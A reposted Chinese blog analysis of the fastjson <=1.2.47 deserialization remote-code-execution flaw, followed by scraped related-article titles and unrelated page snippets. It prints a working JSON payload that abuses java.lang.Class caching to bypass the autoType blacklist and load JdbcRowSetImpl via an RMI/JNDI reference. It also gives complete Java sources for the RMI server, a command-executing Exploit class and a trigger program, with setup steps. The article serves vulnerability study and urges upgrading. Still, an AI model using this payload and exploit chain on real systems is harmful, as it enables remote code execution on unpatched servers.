fastjson =< 1.2.47 反序列化漏洞浅析
fastjson =< 1.2.47 反序列化漏洞浅析
文章出处:
https://www.03sec.com/3240.shtmlhttps://www.secquan.org/ 圈子社区牛逼!!!
作者:iiusky
#poc
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
最近据说爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)
环境准备
阅读本篇文章之前建议先了解一下fastjson中的jndi漏洞利用方式。
## rmiServer.java
/** Copyright sky 2019-07-11 Email:sky@03sec.com.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/package cn.org.javaweb.fastjsontest;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;/*** @author sky*/public class test3 {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Exloit","Exploit","http://localhost:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Exploit",referenceWrapper);}}
##Exploit.java
import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory {@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {exec("xterm");return null;}public static String exec(String cmd) {try {Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");} catch (IOException e) {e.printStackTrace();}return "";}public static void main(String[] args) {exec("123");}}
##poc.java
/** Copyright sky 2019-07-11 Email:sky@03sec.com.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/package cn.org.javaweb.fastjsontest;import com.alibaba.fastjson.JSON;/*** @author sky*/public class test5 {public static void main(String[] argv) {String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +"\"xxxx\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" +"\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}}";JSON.parse(payload);}}
其中Exploit.java需要使用javac编译执行一次生成Exploit.class并放置在localhost:8000端口的根目录。我这边使用python简单的httpServer搭建的简易http服务器。
调用分析
调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)执行逻辑中:
首先遇到的是第一个key@type,然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载。这边摘取片段来进行展示。
if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {………… ………… …………if (object != null&&object.getClass().getName().equals(typeName)) {clazz = object.getClass();} else {clazz = config.checkAutoType(typeName, null, lexer.getFeatures());}………… ………… …………Object obj = deserializer.deserialze(this, clazz, fieldName);return obj;}
fastjson会去检测@type的类是否为黑名单中的类,
而poc中传入的@type为java.lang.class并非黑名单中的类,所以第一步检测的通过的。
接下来会把对应的value进行加载,也就是加载java.lang.class
跟进deserialze方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze)
可以看到lexer中的stringVal为poc中的val,而val的值为com.sun.rowset.JdbcRowSetImpl.
接下来将objVal赋值给strVal
然后执行下面一大串if判断,其中有个if为:
如果传入的clazz为java.lang.class,则会调用TypeUtils.loadClass加载com.sun.rowset.JdbcRowSetImpl类,
跟进loadClass方法
从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测
导致将com.sun.rowset.JdbcRowSetImpl放入mapping中的问题点是在loadClass中的第三个参数,该参数是指是否对class放入缓存mapping中。
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)
1.2.47版本中的代码
1.2.48版本中的代码
##结语
文章中有不对的点欢迎指出,勿喷,文明交流
##参考
https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCEhttps://github.com/MagicZer0/fastjson-rce-exploit
想了解更多 欢迎关注
fastjson =< 1.2.47 反序列化漏洞浅析的更多相关文章
- fastjson =< 1.2.47 反序列化漏洞复现
fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...
- fastjson<=1.2.47反序列化漏洞复现
0x00:前言 这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告.既然漏洞环境送上门来,我便打算直接下手试一试.在我的想象中当然是一 ...
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- Fastjson 1.2.22-24 反序列化漏洞分析(2)
Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...
- Fastjson 1.2.22-24 反序列化漏洞分析(1)
Fastjson 1.2.22-24 反序列化漏洞分析(1) 前言 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转 ...
- 【JNPF修改通告】fastjson≤1.2.80反序列化漏洞
近日Fastjson Develop Team 发现 fastjson 1.2.80及以下存在新的风险,存在反序列化漏洞.攻击者可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大,请大家 ...
- fastjson<=1.2.47反序列化RCE漏洞
介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库. 漏洞原因:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性 ...
- fastjson<1.2.47 RCE 漏洞复现
这两天爆出了 fastjson 的老洞,复现简单记录一下. 首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server. package cn.hackte ...
- 企业安全05-Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238)
Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...
随机推荐
- Spingboot+Mybatis+Oracle项目配置
配置过程参考: 项目创建:http://how2j.cn/k/springboot/springboot-eclipse/1640.html 集成Mybatis使用Oracle:https://www ...
- ffmpeg处理视频命令
一:视频添加图片水印 ffmpeg -i a.mp4 -vf "movie=a.jpg[watermark];[in][watermark] overlay=main_w-overlay_w ...
- Java学习笔记【十三、多线程编程】
概念 Java 给多线程编程提供了内置的支持.一个多线程程序包含两个或多个能并发运行的部分.程序的每一部分都称作一个线程,并且每个线程定义了一个独立的执行路径. 多线程是多任务的一种特别的形式,但多线 ...
- deep_learning_Function_tf.equal(tf.argmax(y, 1),tf.argmax(y_, 1))用法
[Tensorflow] tf.equal(tf.argmax(y, 1),tf.argmax(y_, 1))用法 作用:输出正确的预测结果利用tf.argmax()按行求出真实值y_.预测值y最大值 ...
- Jmeter最佳录制工具BlazeMeter
简介 在做接口测试时,开发会提供接口文档作为测试脚本编写的依据,但接口文档往往有一些局限性: 接口文档本身可能有编写错误 接口文档可以针对单个字段的取值和含义做描述,但多个字段的组合作用很难通过文字做 ...
- MyBatis 报错org.apache.ibatis.session.defaults.DefaultSqlSessionFactory.openSessionFromDataSource
报错如下: org.apache.ibatis.exceptions.PersistenceException: ### Error opening session. Cause: java.lang ...
- Java语言基础(9)
1 方法(二) 1) 不带参数没有返回值的方法: 案例:Demo1 public class Demo1 { static void show(){ System.out.println(" ...
- Android studio测试软件——Monkey学习及运用
Android studio测试软件——Monkey学习及运用 在第十五周的个人博客上,王老师安排我们根据最终的团队大作业所用的软件(Android studio)进行软件测试的介绍,而我选择的是基于 ...
- Linux启动原理
Linux系统启动原理 #!此文章参考某godedu,用于复习查看 centos6系统 centos6系统启动过程 1. 加载 BIOS 的硬件信息,跟据设定取得第一个可开机引导设置,如:光驱,硬盘, ...
- Vue习题作业练习
作业一: 用table表格标签渲染以上数据,表格第一列是学生总分排名,最后一列是学生总分 <!DOCTYPE html> <html lang="en"> ...